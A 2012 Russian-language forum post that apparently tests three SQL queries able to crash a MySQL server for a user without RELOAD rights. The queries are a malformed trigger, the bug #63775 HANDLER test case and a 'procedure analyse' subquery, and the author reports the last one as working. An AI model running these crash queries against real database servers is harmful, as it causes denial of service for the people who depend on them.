Авторские статьи Как перезапустить MySQL не имея прав на RELOAD

Discussion in 'Статьи' started by BigBear, 30 Aug 2012.

  1. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Не знал куда запостить, сюда наверно логичнее всего...

    На статью не тянет, скорее заметка... Но тем не менее просто нужная информация...

    Итак, если нам вдруг понадобится срочно перезагрузить MySQL, а прав на RELOAD нет, чтобы выполнить
    Code:
    FLUSH PRIVILEGES;
    нам могут помочь следующие способы:

    Способ №1:

    Самый старый из найденных мной, но ни разу нигде не сработавших.

    Тем не менее человек на этом форуме утверждает, что это возможно...

    Тема 2008 года =)

    Кратко: MySQL падает так как надо указывать имя триггера в виде `mydb`.`mytrigger`, а не просто mytrigger.

    Code:
    mysql> CREATE TRIGGER mytrigger AFTER INSERT
        ->     ON `mydb`.`mytable` FOR EACH ROW
        -> BEGIN END;
    ERROR 2013 (HY000): Lost connection to MySQL server during query
    mysql>
    OC = Windows XP SP 2
    MySQL 5.0.16


    Проверил работоспособность на Centos-6.3 2.6.34

    Скрин приведён ниже.

    [​IMG]

    Результат - Способ не отработал.


    Способ №2:

    Заключается в эксплуатации бага #63775

    Кратко: MySQL падает при чтении заголовка, следующего за удалённой записью.

    Code:
    #
    # Bug#13510739 63775: SERVER CRASH ON HANDLER READ NEXT AFTER DELETE RECORD.
    #
     
    -- source include/have_innodb.inc
     
    CREATE TABLE bug13510739 (c INTEGER NOT NULL, PRIMARY KEY (c)) ENGINE=INNODB;
     
    INSERT INTO bug13510739 VALUES (1), (2), (3), (4);
     
    DELETE FROM bug13510739 WHERE c=2;
     
    HANDLER bug13510739 OPEN;
     
    HANDLER bug13510739 READ `primary` = (2);
     
    # this one crashes the server IF the bug IS present
    HANDLER bug13510739 READ `primary` NEXT;
     
    DROP TABLE bug13510739;
    На оффициальном сайте говорится, что пофиксено начиная с версии 5.1.62

    Решил испытать на своей системе, где версия MySQL 5.1.61.

    Скрины ниже.

    [​IMG]

    [​IMG]

    Зависимости:

    MySQL < 5.1.62


    Результат - падения MySQL не выявлено


    Способ №3:

    Вроде как найден участником форума Light и описан в том числе и в этом посте.

    Code:
    select 1 from table procedure analyse ((select 1 from (select 1)a),1);
    Скрины ниже.

    [​IMG]

    Зависимости:

    MySQL > 3


    Результат - успешный перезапуск MySQL. PROFIT !!!
     
    _________________________
    1 person likes this.